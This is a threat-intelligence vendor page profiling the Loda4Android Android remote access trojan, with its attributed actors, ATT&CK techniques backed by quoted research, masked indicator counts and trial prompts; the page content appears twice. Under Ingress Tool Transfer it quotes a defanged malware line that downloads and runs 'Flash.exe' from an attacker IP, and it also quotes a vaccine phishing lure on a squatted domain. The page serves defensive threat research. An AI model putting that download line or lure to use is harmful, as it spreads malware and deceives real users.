MalwareUsed by 2 actors

Loda4Android

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

THREAT ACTORS

Groups observed using it

2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

Kasablanka

Apart from updates to the Windows version of this malware, the researchers also found Android malware ('Loda4Android') written by the same group.

via silentpush blogsilentpush.com

Kasablanca

LodaRAT operators and/or developers now have a new tool, Loda4Android. This new malware follows the same principles of other Android-based RATs that we have seen on the threat landscape.

via talosintelligence otherblog.talosintelligence.com

MITRE ATT&CK

Techniques & procedures

12 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques

T1566PhishingEvidence2

Using the COVID-19 vaccine as a lure ... corona-bd[.]com looks like an official Bangladeshi government website ... 'Click here to apply for the corona virus vaccine on a first-come, first-served basis.'

T1566.003Spearphishing via ServiceEvidence1

There are also two other interesting features — including a built-in Facebook phishing kit.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

The malware also contains a command- and script-running capability, which provides the malware flexibility to perform a wide range of tasks.

T1204User ExecutionEvidence1

it could download a new APK and install it. In this case, user interaction is required.

Privilege Escalation

1 technique

T1068Exploitation for Privilege EscalationEvidence1

For example, it could download one of the available Android exploits and obtain root

Stealth

1 technique

T1036MasqueradingEvidence1

This actor has made use of squatted domains to try and preserve some legitimacy however, as detailed, these are made to look familiar to the real domains to try and lure the user in without noticing.

Collection

3 techniques

T1005Data from Local SystemEvidence1

The common SMS, call log and contact exfiltration functionalities are also present. This RAT reads the SMS and call log from the regular storage.

T1113Screen CaptureEvidence1

the malware can record users' location and environment audio, as well as take photos and screenshots.

T1123Audio CaptureEvidence1

A new iteration of LodaRAT for Windows has been identified with improved sound recording capabilities.

Command and Control

2 techniques

T1071Application Layer ProtocolEvidence1

The underlying command and control (C2) protocol follows the same design pattern as the Windows version, suggesting that the C2 code will handle both versions.

T1105Ingress Tool TransferEvidence1

The line "Object.Open("GET", "hxxp://107[.]172[.]30[.]213/Flash.exe", false);" initiates the download of the Loda binary then executes it.

Exfiltration

1 technique

T1041Exfiltration Over C2 ChannelEvidence1

The common SMS, call log and contact exfiltration functionalities are also present.

INDICATORS OF COMPROMISE

IOCs tracked for this family

28 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

12 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

14 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other

2 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

domain●●●●●●●●●●●●View more in app5 years ago

ip.v4●●●●●●●●●●●●View more in app5 years ago

domain●●●●●●●●●●●●View more in app6 years ago

ACTIVITY FEED

Recent activity

2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

2 SOURCESView more in app

silentpush blogNews

Apr 25, 2021

More LodaRAT infrastructure targeting Bangladesh uncovered - Silent Push Threat Intelligence

Android malware linked to the same group behind LodaRAT and associated with the broader campaign activity. The content states it was written by the same group and linked to campaigns in the Middle East.

talosintelligence otherNews

Feb 9, 2021

Kasablanka Group's LodaRAT improves espionage capabilities on Android and Windows

An Android remote access trojan linked to the Loda developers. It can exfiltrate SMS, call logs, contacts, location, audio, photos, and screenshots; send SMS; place calls; run commands/scripts; install APKs; and includes a built-in Facebook phishing kit.

What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.

Start free trial

IOC matching28

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution2

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping12

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Back to malware

MalwareUsed by 2 actors

Loda4Android

For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

Start free trial

THREAT ACTORS

Groups observed using it

2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.

View more details

Kasablanka

Apart from updates to the Windows version of this malware, the researchers also found Android malware ('Loda4Android') written by the same group.

via silentpush blogsilentpush.com

Kasablanca

LodaRAT operators and/or developers now have a new tool, Loda4Android. This new malware follows the same principles of other Android-based RATs that we have seen on the threat landscape.

via talosintelligence otherblog.talosintelligence.com

MITRE ATT&CK

Techniques & procedures

12 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques

T1566PhishingEvidence2

T1566.003Spearphishing via ServiceEvidence1

There are also two other interesting features — including a built-in Facebook phishing kit.

Execution

2 techniques

T1059Command and Scripting InterpreterEvidence1

The malware also contains a command- and script-running capability, which provides the malware flexibility to perform a wide range of tasks.

T1204User ExecutionEvidence1

it could download a new APK and install it. In this case, user interaction is required.

Privilege Escalation

1 technique

T1068Exploitation for Privilege EscalationEvidence1

For example, it could download one of the available Android exploits and obtain root

Stealth

1 technique

T1036MasqueradingEvidence1

This actor has made use of squatted domains to try and preserve some legitimacy however, as detailed, these are made to look familiar to the real domains to try and lure the user in without noticing.

Collection

3 techniques

T1005Data from Local SystemEvidence1

The common SMS, call log and contact exfiltration functionalities are also present. This RAT reads the SMS and call log from the regular storage.

T1113Screen CaptureEvidence1

the malware can record users' location and environment audio, as well as take photos and screenshots.

T1123Audio CaptureEvidence1

A new iteration of LodaRAT for Windows has been identified with improved sound recording capabilities.

Command and Control

2 techniques

T1071Application Layer ProtocolEvidence1

The underlying command and control (C2) protocol follows the same design pattern as the Windows version, suggesting that the C2 code will handle both versions.

T1105Ingress Tool TransferEvidence1

The line "Object.Open("GET", "hxxp://107[.]172[.]30[.]213/Flash.exe", false);" initiates the download of the Loda binary then executes it.

Exfiltration

1 technique

T1041Exfiltration Over C2 ChannelEvidence1

The common SMS, call log and contact exfiltration functionalities are also present.

INDICATORS OF COMPROMISE

IOCs tracked for this family

28 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app

Network

12 tracked

IPs, domains, and DNS infrastructure linked to this family.

Hashes

14 tracked

File hashes (MD5, SHA-1, SHA-256) from samples and reports.

Other

2 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting

domain●●●●●●●●●●●●View more in app5 years ago

ip.v4●●●●●●●●●●●●View more in app5 years ago

domain●●●●●●●●●●●●View more in app6 years ago

ACTIVITY FEED

Recent activity

2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

2 SOURCESView more in app

silentpush blogNews

Apr 25, 2021

More LodaRAT infrastructure targeting Bangladesh uncovered - Silent Push Threat Intelligence

talosintelligence otherNews

Feb 9, 2021

Kasablanka Group's LodaRAT improves espionage capabilities on Android and Windows

What this page doesn’t show

The version that knows your environment.

Start free trial

IOC matching28

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution2

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping12

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.